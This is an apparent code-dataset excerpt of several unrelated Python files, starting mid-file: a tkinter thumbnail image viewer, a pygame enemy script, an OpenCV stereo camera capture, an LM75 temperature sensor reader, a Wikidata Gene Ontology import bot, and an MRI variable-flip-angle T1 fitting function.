# clear prior photo\r\n        canvas.config(height=viewhigh, width=viewwide)   # viewable window size\r\n        canvas.config(scrollregion=fullsize)             # scrollable area size\r\n        canvas.create_image(0, 0, image=imgtk, anchor=tk.NW)\r\n\r\n        if imgwide <= scrwide and imghigh <= scrhigh:    # too big for display?\r\n            self.state('normal')                         # no: win size per img\r\n        elif sys.platform[:3] == 'win':                  # do windows fullscreen\r\n            self.state('zoomed')                         # others use geometry( )\r\n        self.saveimage = imgpil\r\n        self.savephoto = imgtk                           # keep reference on me\r\n        print (scrwide, scrhigh), imgpil.size\r\n\r\n    def sizeToDisplaySide(self, scaler):\r\n        # resize to fill one side of the display\r\n        imgpil = self.saveimage\r\n        scrwide, scrhigh = self.maxsize( )                 # wm screen size x,y\r\n        imgwide, imghigh = imgpil.size                     # img size in pixels\r\n        newwide, newhigh = scaler(scrwide, scrhigh, imgwide, imghigh)\r\n        if (newwide * newhigh < imgwide * imghigh):\r\n            filter = Image.ANTIALIAS                      # shrink: antialias\r\n        else:                                             # grow: bicub sharper\r\n            filter = Image.BICUBIC\r\n        imgnew  = imgpil.resize((newwide, newhigh), filter)\r\n        self.drawImage(imgnew)\r\n\r\n    def onSizeToDisplayHeight(self, event):\r\n        def scaleHigh(scrwide, scrhigh, imgwide, imghigh):\r\n            newhigh = scrhigh\r\n            newwide = int(scrhigh * (float(imgwide) / imghigh))\r\n            return (newwide, newhigh)\r\n        self.sizeToDisplaySide(scaleHigh)\r\n\r\n    def onSizeToDisplayWidth(self, event):\r\n        def scaleWide(scrwide, scrhigh, imgwide, imghigh):\r\n            newwide = scrwide\r\n            newhigh = int(scrwide * (float(imghigh) / imgwide))\r\n            return (newwide, newhigh)\r\n        self.sizeToDisplaySide(scaleWide)\r\n\r\n    def zoom(self, factor):\r\n        # zoom in or out in increments\r\n        imgpil = self.saveimage\r\n        wide, high = imgpil.size\r\n        if factor < 1.0:                     # antialias best if shrink\r\n            filter = Image.ANTIALIAS         # also nearest, bilinear\r\n        else:\r\n            filter = Image.BICUBIC\r\n        new = imgpil.resize((int(wide * factor), int(high * factor)), filter)\r\n        self.drawImage(new)\r\n\r\n    def onZoomIn(self, event, incr=.10):\r\n        self.zoom(1.0 + incr)\r\n    def onZoomOut(self, event, decr=.10):\r\n        self.zoom(1.0 - decr)\r\n\r\n    def onSaveImage(self, event):\r\n        # save current image state to file\r\n        filename = saveDialog.show( )\r\n        if filename:\r\n           self.saveimage.save(filename)\r\n\r\n\r\ndef viewThumbs(image_label, set_id, kind=tk.Toplevel, numcols=None, height=600, width=800):\r\n    \"\"\"\r\n    make main or pop-up thumbnail buttons window;\r\n    uses fixed-size buttons, scrollable canvas;\r\n    sets scrollable (full) size, and places\r\n    thumbs at abs x,y coordinates in canvas;\r\n    no longer assumes all thumbs are same size:\r\n    gets max of all (x,y), some may be smaller;\r\n    \"\"\"\r\n    first_element=list(image_label.keys())[0]\r\n    img_dir=os.path.dirname(first_element)\r\n    view_list={}\r\n    if type(list(image_label.values())[0])==OrderedDict:       \r\n        meta=True\r\n        for lists in image_label.values():\r\n        # select bests\r\n           first_file=list(lists.keys())[0]\r\n           view_list[first_file]=list(lists.values())[0]\r\n           os.path.basename(first_file).split('.')[0]\r\n           thumbs = makeThumbs(list(lists.keys()),subdir=first_file.split('.')[0]) \r\n    else:\r\n        meta=False\r\n        view_list=image_label\r\n\r\n    \r\n    win = kind( )\r\n    win.title(set_id)\r\n    canvas = ScrolledCanvas(win)\r\n    canvas.config(height=height, width=width)       # init viewable window size\r\n                                                    # changes if user resizes\r\n    \r\n    # create thumbnails for the images\r\n    thumbs = makeThumbs(list(view_list.keys()),subdir=set_id)                     # [(imgfile, imgobj)]\r\n    numthumbs = len(thumbs)\r\n    if not numcols:\r\n        numcols = int(math.ceil(math.sqrt(numthumbs)))  # fixed or N x N\r\n    numrows = int(math.ceil(numthumbs / float(numcols)))\r\n\r\n    # thumb=(name, obj), thumb.size=(width, height)\r\n    linksize = max([max(thumb[1].size) for thumb in thumbs])+15\r\n    print(linksize)\r\n    fullsize = (0, 0,                                   # upper left  X,Y\r\n        (linksize * numcols), (linksize * numrows) )    # lower right X,Y\r\n    canvas.config(scrollregion=fullsize)                # scrollable area size\r\n\r\n    rowpos = 0\r\n    savephotos = []\r\n    while thumbs:\r\n        thumbsrow, thumbs = thumbs[:numcols], thumbs[numcols:]\r\n        colpos = 0\r\n        for (imgfile, imgobj) in thumbsrow:\r\n            photo   = PhotoImage(imgobj)\r\n            link    = tk.Button(canvas, text=str(view_list[imgfile]),image=photo,compound='bottom')\r\n            if meta:\r\n                handler = (lambda savefile=imgfile: viewThumbs(image_label[savefile], os.path.basename(savefile).split('.')[0]))                \r\n            else:\r\n                handler = (lambda savefile=imgfile: ViewOne(img_dir, savefile))\r\n\r\n            link.config(command=handler, width=linksize, height=linksize)\r\n            link.pack(side=tk.LEFT, expand=tk.YES)\r\n            canvas.create_window(colpos, rowpos, anchor=tk.NW,\r\n                    window=link, width=linksize, height=linksize)\r\n            colpos += linksize\r\n            savephotos.append(photo)\r\n        rowpos += linksize\r\n    #win.bind('<KeyPress-d>', onDirectoryOpen)\r\n    win.savephotos = savephotos\r\n    return win\r\n\r\n\r\ndef makeThumbs(image_list, size=(150, 150), subdir='thumbs'):\r\n    \"\"\"\r\n    get thumbnail images for all images in a directory;\r\n    for each image, create and save a new thumb, or load\r\n    and return an existing thumb; makes thumb dir if needed;\r\n    returns list of (image filename, thumb image object);\r\n    the caller can also run listdir on thumb dir to load;\r\n    on bad file types we may get IOError, or other: overflow\r\n    \"\"\"\r\n    imgdir=os.path.dirname(image_list[0])\r\n    print(imgdir)\r\n    thumbdir = os.path.join(imgdir, subdir)\r\n    if not os.path.exists(thumbdir):\r\n        os.mkdir(thumbdir)\r\n\r\n    thumbs = []\r\n    for imgfile in image_list:\r\n        #print(imgfile)\r\n        thumbpath = os.path.join(thumbdir, os.path.basename(imgfile))\r\n        #print(thumbpath)\r\n        if os.path.exists(thumbpath):\r\n            thumbobj = Image.open(thumbpath)            # use already created\r\n            thumbs.append((imgfile, thumbobj))\r\n        else:\r\n            #print 'making', thumbpath\r\n            imgpath = os.path.join(imgdir, os.path.basename(imgfile))\r\n            #print(thumbpath)\r\n            try:\r\n                imgobj = Image.open(imgpath)            # make new thumb\r\n                imgobj.thumbnail(size, Image.ANTIALIAS) # best downsize filter\r\n                imgobj.save(thumbpath)                  # type via ext or passed\r\n                thumbs.append((imgfile, imgobj))\r\n            except:                                     # not always IOError\r\n                print('Skipping: '+imgpath)\r\n    return thumbs","sub_path":"image_views.py","file_name":"image_views.py","file_ext":"py","file_size_in_byte":11950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"637639075","text":"#B\nimport pygame as pg\nimport sprites\nfrom settings import ICON_FOLDER\nradius=-1\nlife_time=60\ncall_key=1\nshots=1\nname=\"Guard B\"\nicon_path=ICON_FOLDER+\"Guards\"+\".png\"\nvec=pg.math.Vector2\ndef move_in_time(start,end,actor,speed,dir,begin_time):\n    start=start*1000\n    end=end*1000\n    now=pg.time.get_ticks()\n    if  now>=start+begin_time and now<=end+begin_time:        \n         \n         actor.move(dir,speed)        \n   \n   \n\ndef shoot_on_second(damage,shell_type,pos,actor,time_pos,begin_time,range):\n     now=pg.time.get_ticks()\n     if actor.shots>0:\n         if pg.time.get_ticks()>=begin_time+time_pos*1000 and pg.time.get_ticks()<=begin_time+range*1000+time_pos*1000:\n           actor.shots-=1\n      \n           sprites.Attack(actor.game,vec(actor.pos.x,actor.pos.y+20),actor.shoot_rot,damage,shell_type,\"arrow\",'heroes',w=actor.rect.width,h=actor.rect.height,isStunning=True)\n           hits=pg.sprite.groupcollide(actor.game.heroes,actor.game.attacks,False,False)\n           if hits:\n            for hero,attacks in hits.items():\n               hero.isStunned=True\n\ndef execute(actor,begin_time):   \n    move_in_time(0,6,actor,3.4,\"left\",begin_time)\n    shoot_on_second(0,\"magical\",actor.pos,actor,17,begin_time,0.3)\n    \n     \n\n  \n","sub_path":"Project/Project/files/data/plots/plot_04.py","file_name":"plot_04.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"495147109","text":"# -*- coding: utf-8 -*-\nimport cv2\n\ndef main():\n    # カメラのキャプチャ\n    cap1 = cv2.VideoCapture(0)\n    cap2 = cv2.VideoCapture(1)\n\n    while(1):\n        im1 = cap1.read()[1]        # カメラ1のフレーム取得\n        im2 = cap2.read()[1]        # カメラ2のフレーム取得\n        cv2.imshow(\"Left\",im1)\n        cv2.imshow(\"Right\",im2)\n        # キーが押されたらループから抜ける\n        if cv2.waitKey(10) > 0:\n            cap1.release()\n            cap2.release()\n            cv2.destroyAllWindows()\n            break\n\nif __name__ == '__main__':\n    main()\n","sub_path":"python/opencv/opencv-old/camera/stereo/capture.py","file_name":"capture.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"435426738","text":"import m\nfrom machine import Pin,I2C\nimport time\n\ndef temp_c(data):\n    value = data[0] << 8 | data[1]\n    temp = value / 256.0\n    return temp\n\ni2c = I2C(scl=Pin(m.SCL),sda=Pin(m.SDA), freq=10000)\n\naddress=i2c.scan()\nadd=i2c.scan()[0]\nfor addr in address:\n    print (\"Hex = 0x%2x\" % (addr))\n\n\nwhile True:\n  data = bytearray(2)\n  i2c.readfrom_mem_into(add, 0, data)\n  print(temp_c(data))\n  time.sleep(1)\n\n\n","sub_path":"LM75Test/LM75Test.py","file_name":"LM75Test.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"36231084","text":"\"\"\"\nA OBO bot for EBI ontologies\n\"\"\"\nimport json\nimport os\nimport pprint\nimport sys\nimport time\nimport traceback\nfrom datetime import datetime\n\nimport argparse\nimport requests\nfrom wikidataintegrator import wdi_core, wdi_login, wdi_helpers\n\n__author__ = 'Sebastian Burgstaller'\n__license__ = 'MIT'\n__metadata__ = {'name': 'GoOntologyBot',\n                'tags': ['GO'],\n                }\n\ntry:\n    from scheduled_bots.local import WDUSER, WDPASS\nexcept ImportError:\n    if \"WDUSER\" in os.environ and \"WDPASS\" in os.environ:\n        WDUSER = os.environ['WDUSER']\n        WDPASS = os.environ['WDPASS']\n    else:\n        raise ValueError(\"WDUSER and WDPASS must be specified in local.py or as environment variables\")\n\nONTOLOGIES = {'GO': {'ontology_ref_item': 'Q135085',  # 'Gene Ontolgy' item\n                     'core_property_nr': 'P686',\n                     # biological process (GO:0008150), molecular function (GO:0003674), cellular component (GO:0005575) (Q5058355)\n                     'root_objects': ['0008150', '0003674', '0005575'],\n                     'use_prefix': True}}\n\n\ndef ec_formatter(ec_number):\n    splits = ec_number.split('.')\n    if len(splits) < 4:\n        for x in range(4 - len(splits)):\n            splits.append('-')\n\n    return '.'.join(splits)\n\n\nclass OBOImporter(object):\n    obo_wd_map = {\n        'http://www.w3.org/2000/01/rdf-schema#subClassOf': {'P279': ''},  # subclassOf aka 'is a'\n        'http://purl.obolibrary.org/obo/BFO_0000051': {'P527': ''},  # has_part\n        'http://purl.obolibrary.org/obo/BFO_0000050': {'P361': ''},  # part of\n\n        'http://purl.obolibrary.org/obo/RO_0002211': {'P128': ''},  # regulates\n        'http://purl.obolibrary.org/obo/RO_0002212': {'P128': {'P2868': 'Q22260640'}},\n    # negatively regulates WD item: Q22260640\n        'http://purl.obolibrary.org/obo/RO_0002213': {'P128': {'P2868': 'Q22260639'}},\n    # positively regulates WD item: Q22260639\n    }\n\n    rev_prop_map = {\n        'http://purl.obolibrary.org/obo/BFO_0000051': 'http://purl.obolibrary.org/obo/BFO_0000050',\n        'http://purl.obolibrary.org/obo/BFO_0000050': 'http://purl.obolibrary.org/obo/BFO_0000051'\n    }\n\n    xref_props = {\n        'UBERON': 'P1554',\n        'MSH': 'P486',\n        'NCI': 'P1748',  # NCI thesaurus, there exists a second NCI property\n        'CHEBI': 'P683',\n        'OMIM': 'P492',\n        'EC': 'P591',\n    }\n\n    xref_val_mod_funcs = {\n        'P591': ec_formatter,\n\n    }\n\n    base_onto_struct_props = [\n        'http://www.w3.org/2000/01/rdf-schema#subClassOf',\n    ]\n\n    obo_synonyms = {}\n\n    ols_session = requests.Session()\n\n    append_props = {'P31', 'P279', 'P527', 'P361', 'P128'} | set(xref_props.values())\n\n    def __init__(self, root_objects, ontology, core_property_nr, ontology_ref_item, login, local_qid_onto_map,\n                 use_prefix=True, fast_run=True, fast_run_base_filter=None, write=True, sub_ontology=None):\n\n        # run go prefix fixer before any attempts to make new go terms!\n        self.login_obj = login\n        self.root_objects = root_objects\n        self.core_property_nr = core_property_nr\n        self.ontology = ontology\n        self.sub_ontology = sub_ontology\n        self.ontology_ref_item = ontology_ref_item\n        self.base_url = 'http://www.ebi.ac.uk/ols/api/ontologies/{}/terms/'.format(ontology)\n        self.base_url += 'http%253A%252F%252Fpurl.obolibrary.org%252Fobo%252F'\n        self.use_prefix = use_prefix\n        self.fast_run = fast_run\n        self.fast_run_base_filter = fast_run_base_filter\n        self.write = write\n\n        self.headers = {\n            'Accept': 'application/json'\n        }\n\n        # as SPARQL endpoint updates are not fast enough, a local temporary mapping is required\n        self.local_qid_onto_map = local_qid_onto_map\n        # pprint.pprint(self.local_qid_onto_map)\n\n        for ro in root_objects:\n            if not self.sub_ontology:\n                so = self.get_sub_ontology(ro)\n            else:\n                so = self.sub_ontology\n          \n            if ro in self.local_qid_onto_map and self.local_qid_onto_map[ro]['had_root_write'] and \\\n                    ('children' in self.local_qid_onto_map[ro] or 'parents' in self.local_qid_onto_map[ro]):\n\n                OBOImporter(root_objects=self.local_qid_onto_map[ro]['children'], ontology=ontology,\n                            core_property_nr=self.core_property_nr, ontology_ref_item=self.ontology_ref_item,\n                            login=login, local_qid_onto_map=self.local_qid_onto_map, use_prefix=self.use_prefix,\n                            fast_run=self.fast_run, fast_run_base_filter=self.fast_run_base_filter, write=self.write,\n                            sub_ontology=so)\n            else:\n                try:\n                    r = OBOImporter.ols_session.get(url=self.base_url + '{}_{}/graph'.format(self.ontology, ro),\n                                                    headers=self.headers)\n                    self.term_graph = r.json()\n                except requests.HTTPError as e:\n                    print(e)\n                    continue\n                except ValueError as e:\n                    print(e)\n                    continue\n\n                print(r.url)\n                pprint.pprint(self.term_graph)\n\n                children = []\n                parents = []\n                for edge in self.term_graph['edges']:\n                    if edge['label'] == 'is a':\n                        # only accept terms from a certain ontology, ignore other (OWL) targets.\n                        if len(edge['source'].split('_')) > 1:\n                            graph_source = edge['source'].split('_')[1]\n                        else:\n                            continue\n\n                        if graph_source == ro:\n                            if len(edge['target'].split('_')) > 1:\n                                parents.append(edge['target'].split('_')[1])\n                            else:\n                                continue\n                        else:\n                            children.append(graph_source)\n\n                self.write_term(current_root_id=ro, parents=set(parents), children=set(children))\n\n                OBOImporter(root_objects=children, ontology=ontology, core_property_nr=self.core_property_nr,\n                            ontology_ref_item=self.ontology_ref_item, login=login,\n                            local_qid_onto_map=self.local_qid_onto_map, use_prefix=self.use_prefix,\n                            fast_run=self.fast_run, fast_run_base_filter=self.fast_run_base_filter, write=self.write, \n                            sub_ontology=so)\n\n    def write_term(self, current_root_id, parents, children):\n        print('current_root', current_root_id, parents, children)\n        current_node_qids = []\n\n        def get_item_qid(go_id, data=()):\n            if self.use_prefix:\n                id_string = '{}:{}'.format(self.ontology, go_id)\n            else:\n                id_string = go_id\n\n            # for efficiency reasons, skip if item already had a root write performed\n            if go_id in self.local_qid_onto_map and self.local_qid_onto_map[go_id]['had_root_write'] \\\n                    and 'qid' in self.local_qid_onto_map[go_id]:\n                return self.local_qid_onto_map[go_id]['qid'], False, False\n\n            try:\n                data = list(data)\n\n                r = OBOImporter.ols_session.get(url=self.base_url + '{}_{}'.format(self.ontology, go_id),\n                                                headers=self.headers)\n                go_term_data = r.json()\n                label = go_term_data['label'].replace('_', ' ')\n\n                description = go_term_data['description'][0]\n\n                if go_term_data['is_obsolete']:\n                    OBOImporter.cleanup_obsolete_edges(ontology_id=id_string,\n                                                       login=self.login_obj, core_property_nr=self.core_property_nr,\n                                                       obsolete_term=True, write=write)\n                    return None, None, None\n\n                # get parent ontology term info so item can be populated with description, etc.\n                data.append(wdi_core.WDString(value=id_string, prop_nr=self.core_property_nr,\n                                              references=[self.create_reference()]))\n\n                exact_match_string = 'http://purl.obolibrary.org/obo/{}_{}'.format(self.ontology, go_id)\n                data.append(wdi_core.WDUrl(value=exact_match_string, prop_nr='P2888'))\n                \n                # add instance of sub-ontology\n                if self.sub_ontology:\n                    data.append(wdi_core.WDItemID(value=self.sub_ontology, prop_nr='P31',\n                                references=[self.create_reference()]))\n\n                # add xrefs\n                if go_term_data['obo_xref']:\n                    for xref in go_term_data['obo_xref']:\n                        if xref['database'] in OBOImporter.xref_props:\n                            wd_prop = OBOImporter.xref_props[xref['database']]\n                        else:\n                            continue\n                        if wd_prop in OBOImporter.xref_val_mod_funcs:\n                            xref_value = OBOImporter.xref_val_mod_funcs[wd_prop](xref['id'])\n                        else:\n                            xref_value = xref['id']\n                        data.append(wdi_core.WDExternalID(value=xref_value, prop_nr=wd_prop,\n                                                          references=[self.create_reference()]))\n\n                if go_term_data['obo_synonym']:\n                    for syn in go_term_data['obo_synonym']:\n                        if syn['type'] in OBOImporter.obo_synonyms:\n                            wd_prop = OBOImporter.obo_synonyms[syn['type']]\n                        else:\n                            continue\n                        syn_value = syn['name']\n                        data.append(wdi_core.WDExternalID(value=syn_value, prop_nr=wd_prop,\n                                                          references=[self.create_reference()]))\n\n                if go_id in self.local_qid_onto_map:\n                    wd_item = wdi_core.WDItemEngine(wd_item_id=self.local_qid_onto_map[go_id]['qid'],\n                                                    data=data, fast_run=self.fast_run,\n                                                    fast_run_base_filter=self.fast_run_base_filter,\n                                                    append_value=self.append_props,\n                                                    global_ref_mode='STRICT_OVERWRITE')\n                else:\n                    wd_item = wdi_core.WDItemEngine(data=data, fast_run=self.fast_run,\n                                                    fast_run_base_filter=self.fast_run_base_filter,\n                                                    global_ref_mode='STRICT_OVERWRITE')\n                if wd_item.get_label() == \"\":\n                    wd_item.set_label(label=label)\n                if wd_item.get_description() == \"\":\n                    wd_item.set_description(description=description[:250])\n                # if len(description) <= 250:\n                #     wd_item.set_description(description=description)\n                # else:\n                #     wd_item.set_description(description='Gene Ontology term')\n                if go_term_data['synonyms'] is not None and len(go_term_data['synonyms']) > 0:\n                    aliases = []\n                    for alias in go_term_data['synonyms']:\n                        if len(alias) <= 250:\n                            aliases.append(alias)\n\n                    wd_item.set_aliases(aliases=aliases)\n\n                success = wdi_helpers.try_write(wd_item, go_id, self.core_property_nr, self.login_obj, write=self.write)\n                qid = wd_item.wd_item_id\n\n                if go_id not in self.local_qid_onto_map:\n                    self.local_qid_onto_map[go_id] = {\n                        'qid': qid,\n                        'had_root_write': False,\n                    }\n\n                if go_id == current_root_id:\n                    self.local_qid_onto_map[go_id]['had_root_write'] = True\n                    self.local_qid_onto_map[go_id]['parents'] = list(parents)\n                    self.local_qid_onto_map[go_id]['children'] = list(children)\n\n                current_node_qids.append(qid)\n                print('QID created or retrieved', qid)\n                if success is True:\n                    return qid, go_term_data['obo_xref'], wd_item.require_write\n                else:\n                    return None, None, None\n            except Exception as e:\n                exc_info = sys.exc_info()\n                traceback.print_exception(*exc_info)\n                msg = wdi_helpers.format_msg(go_id, self.core_property_nr, None, str(e), msg_type=type(e))\n                wdi_core.WDItemEngine.log(\"ERROR\", msg)\n                return None, None, None\n\n        dt = []\n        parent_qids = []\n        write_reqired = []\n        for parent_id in parents:\n            pi, o, w = get_item_qid(parent_id)\n            write_reqired.append(w)\n\n            if pi:\n                parent_qids.append(pi)\n                dt.append(wdi_core.WDItemID(value=pi, prop_nr='P279', references=[self.create_reference()]))\n\n        for edge in self.term_graph['edges']:\n            if edge['uri'] in self.obo_wd_map and edge['uri'] != 'http://www.w3.org/2000/01/rdf-schema#subClassOf':\n                go = edge['target'].split('_')[-1]\n                if go != current_root_id:\n                    xref_dict = self.obo_wd_map[edge['uri']]\n                elif edge['uri'] in self.rev_prop_map and edge['source'].split('_')[-1] != current_root_id:\n                    xref_dict = self.obo_wd_map[self.rev_prop_map[edge['uri']]]\n                    go = edge['source'].split('_')[-1]\n                else:\n                    continue\n\n                pi, o, w = get_item_qid(go_id=go)\n                write_reqired.append(w)\n                dt.append(self.create_xref_statement(value=pi, xref_dict=xref_dict))\n\n        root_qid, obsolete, w = get_item_qid(go_id=current_root_id, data=dt)\n        if obsolete and not any(write_reqired):\n            if self.use_prefix:\n                id_string = '{}:{}'.format(self.ontology, current_root_id)\n            else:\n                id_string = current_root_id\n\n            OBOImporter.cleanup_obsolete_edges(ontology_id=id_string,\n                                               login=self.login_obj, core_property_nr=self.core_property_nr,\n                                               current_node_qids=current_node_qids, write=self.write)\n\n        print('----COUNT----:', len(self.local_qid_onto_map))\n        f = open('temp_{}_onto_map.json'.format(self.ontology), 'w')\n        f.write(json.dumps(self.local_qid_onto_map))\n        f.close()\n\n    def create_reference(self):\n        refs = [\n            wdi_core.WDItemID(value=self.ontology_ref_item, prop_nr='P248', is_reference=True),\n            wdi_core.WDItemID(value='Q22230760', prop_nr='P143', is_reference=True),\n            wdi_core.WDTime(time=time.strftime('+%Y-%m-%dT00:00:00Z', time.gmtime()), prop_nr='P813',\n                            is_reference=True),\n            # wdi_core.WDItemID(value='Q1860', prop_nr='P407', is_reference=True),  # language of work\n        ]\n        # old references should be overwritten\n        # refs[0].overwrite_references = True\n\n        return refs\n\n    def create_xref_statement(self, value, xref_dict):\n        for prop_nr, v in xref_dict.items():\n            qualifiers = []\n            if v:\n                for p, vv in v.items():\n                    qualifiers.append(wdi_core.WDItemID(value=vv, prop_nr=p, is_qualifier=True))\n\n            return wdi_core.WDItemID(value=value, prop_nr=prop_nr, qualifiers=qualifiers,\n                                     references=[self.create_reference()])\n          \n    def get_sub_ontology(self, oid):\n        ontology_id = oid if oid.startswith(self.ontology) else '{}:{}'.format(self.ontology, oid)\n        query = '''\n        SELECT DISTINCT * WHERE {{\n            ?qid wdt:{} '{}' .\n        }}\n        '''.format(self.core_property_nr, ontology_id)\n\n        r = wdi_core.WDItemEngine.execute_sparql_query(query=query)\n\n        for x in r['results']['bindings']:\n            return x['qid']['value'].split('/').pop()\n\n    @staticmethod\n    def cleanup_obsolete_edges(ontology_id, core_property_nr, login, current_node_qids=(), obsolete_term=False, write=True):\n        filter_props_string = ''\n        if not obsolete_term:\n            for x in OBOImporter.obo_wd_map.values():\n                prop_nr = list(x.keys())[0]\n                filter_props_string += 'Filter (?p = wdt:{})\\n'.format(prop_nr)\n\n        query = '''\n        SELECT DISTINCT ?qid ?p ?onto_qid WHERE {{\n            {{\n                SELECT DISTINCT ?onto_qid WHERE {{\n                    ?onto_qid wdt:{2} '{0}' .\n                }}\n            }}\n            ?qid ?p [wdt:{2} '{0}'].\n            {1}\n        }}\n        ORDER BY ?qid\n        '''.format(ontology_id, filter_props_string, core_property_nr)\n        print(query)\n\n        sr = wdi_core.WDItemEngine.execute_sparql_query(query=query)\n\n        for occurrence in sr['results']['bindings']:\n            if 'statement' in occurrence['qid']['value']:\n                continue\n\n            qid = occurrence['qid']['value'].split('/')[-1]\n            if qid in current_node_qids:\n                continue\n\n            prop_nr = occurrence['p']['value'].split('/')[-1]\n            wd_onto_qid = occurrence['onto_qid']['value'].split('/')[-1]\n            wd_item_id = wdi_core.WDItemID(value=wd_onto_qid, prop_nr=prop_nr)\n            setattr(wd_item_id, 'remove', '')\n            try:\n                wd_item = wdi_core.WDItemEngine(wd_item_id=qid, data=[wd_item_id])\n                wdi_helpers.try_write(wd_item, ontology_id, core_property_nr, login,\n                                      edit_summary=\"removed obsolete edges\", write=write)\n            except Exception as e:\n                exc_info = sys.exc_info()\n                traceback.print_exception(*exc_info)\n                msg = wdi_helpers.format_msg(ontology_id, core_property_nr, None, str(e), msg_type=type(e))\n                wdi_core.WDItemEngine.log(\"ERROR\", msg)\n\n        if obsolete_term:\n            data = [\n                wdi_core.WDString(value=ontology_id, prop_nr=core_property_nr, rank='deprecated'),\n            ]\n\n            try:\n                wd_item = wdi_core.WDItemEngine(item_name='obo', domain='obo', data=data, use_sparql=True)\n                if wd_item.create_new_item:\n                    return\n\n                wdi_helpers.try_write(wd_item, ontology_id, core_property_nr, login,\n                                      edit_summary=\"obsoleted\", write=write)\n            except Exception as e:\n                exc_info = sys.exc_info()\n                traceback.print_exception(*exc_info)\n                msg = wdi_helpers.format_msg(ontology_id, core_property_nr, None, str(e), msg_type=type(e))\n                wdi_core.WDItemEngine.log(\"ERROR\", msg)\n\n\ndef run(ontology, login, write=True):\n    ontology_ref_item = ONTOLOGIES[ontology]['ontology_ref_item']\n    core_property_nr = ONTOLOGIES[ontology]['core_property_nr']\n    root_objects = ONTOLOGIES[ontology]['root_objects']\n    use_prefix = ONTOLOGIES[ontology]['use_prefix']\n\n    file_name = 'temp_{}_onto_map.json'.format(ontology)\n    if os.path.exists(file_name):\n        f = open(file_name, 'r')\n        local_qid_onto_map = json.loads(f.read())\n        f.close()\n    else:\n        local_qid_onto_map = {}\n\n    OBOImporter(root_objects=root_objects, ontology=ontology, core_property_nr=core_property_nr,\n                ontology_ref_item=ontology_ref_item, login=login, local_qid_onto_map=local_qid_onto_map,\n                use_prefix=use_prefix, fast_run=True, fast_run_base_filter={core_property_nr: ''}, write=write)\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description='run EBI ontology bot')\n    parser.add_argument('ontology', help='ontology to run', type=str)\n    parser.add_argument('--log-dir', help='directory to store logs', type=str)\n    parser.add_argument('--dummy', help='do not actually do write', action='store_true')\n    parser.add_argument('--fastrun', dest='fastrun', action='store_true')\n    parser.add_argument('--no-fastrun', dest='fastrun', action='store_false')\n    parser.set_defaults(fastrun=True)\n    args = parser.parse_args()\n    ontology = args.ontology\n    log_dir = args.log_dir if args.log_dir else \"./logs\"\n    fast_run = args.fastrun\n    run_id = datetime.now().strftime('%Y%m%d_%H:%M')\n    __metadata__['run_id'] = run_id\n    log_name = '{}-{}.log'.format(__metadata__['name'], run_id)\n\n    if ontology not in ONTOLOGIES:\n        raise ValueError(\"ontology {} not found\".format(ontology))\n\n    wdi_core.WDItemEngine.setup_logging(logger_name='WD_logger', log_name=log_name,\n                                        header=json.dumps(__metadata__))\n\n    login = wdi_login.WDLogin(user=WDUSER, pwd=WDPASS)\n\n    run(ontology, login, write=not args.dummy)\n","sub_path":"scheduled_bots/ontology/obo_importer.py","file_name":"obo_importer.py","file_ext":"py","file_size_in_byte":21276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"306585370","text":"\nimport mmimproc\nmmimproc.datadir.target = 'jaba'\nfrom pathlib import *\nfrom mmimproc.utils import *\nfrom mmimproc.io.images import savenii\nfrom scipy import stats\nimport numpy as np\n\n\ndef vfa_fit_2e2fa(vfa, info_dict, b1map, mask=None):\n\n    # info_dict contains all relevant info for fitting eg. flip angles, trs, file names, paths, etc\n    # fit vfa and make b1corrected qt1 img\n    vy_vfa2_ec1 = vfa[:,:,:,:2]\n    vy_vfa2_ec2 = vfa[:,:,:,2:4]\n    vy_vfa2_ec1_rms = np.sqrt(np.sum(np.square(vy_vfa2_ec1), axis=3)/vy_vfa2_ec1.shape[3])\n    vy_vfa2_ec2_rms = np.sqrt(np.sum(np.square(vy_vfa2_ec2), axis=3)/vy_vfa2_ec2.shape[3])\n    k = np.prod(vy_vfa2_ec1_rms.shape)\n    data = np.zeros([len(info_dict['fas']), k])\n    data[0,:] = vy_vfa2_ec1_rms.flatten()\n    data[1,:] = vy_vfa2_ec2_rms.flatten()\n    fa_uncorr = np.zeros(data.shape)\n    fa_b1corr = np.zeros(data.shape)\n    for i, fa in enumerate(info_dict['fas']):\n        fa_uncorr[i, :] = fa\n    fa_b1corr = fa_uncorr * b1map.flatten()  # uses broadcasting\n    fa_b1corr[fa_b1corr == np.inf] = np.nan\n    fa_b1corr_rad = np.radians(fa_b1corr)\n    y = data / np.sin(fa_b1corr_rad)\n    x = data / np.tan(fa_b1corr_rad)\n    m = np.zeros(k)\n    if not mask == None:\n        mask = mask.astype('bool').flatten()\n    for v in range(k):\n        if not mask == None:\n            if mask[v]:\n                m[v], intercept, r, p, std = stats.linregress(x[:, v], y[:, v])\n        else:\n            m[v], intercept, r, p, std = stats.linregress(x[:, v], y[:, v])\n    qT1_linregr = -info_dict['vfa_tr']/np.log(m)\n    qT1_linregr_data = qT1_linregr.reshape(vy_vfa2_ec1_rms.shape)\n    qT1_linregr_data[qT1_linregr_data < 1.0] = 0\n    qT1_linregr_data[qT1_linregr_data > 6000] = 6000\n    qT1_linregr_data_clean = np.nan_to_num(qT1_linregr_data, copy=True)\n    savenii(qT1_linregr_data_clean, info_dict['affine'], str(info_dict['outfile']))\n\n","sub_path":"mmimproc/qt1/vfa_brain_fitting.py","file_name":"vfa_brain_fitting.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
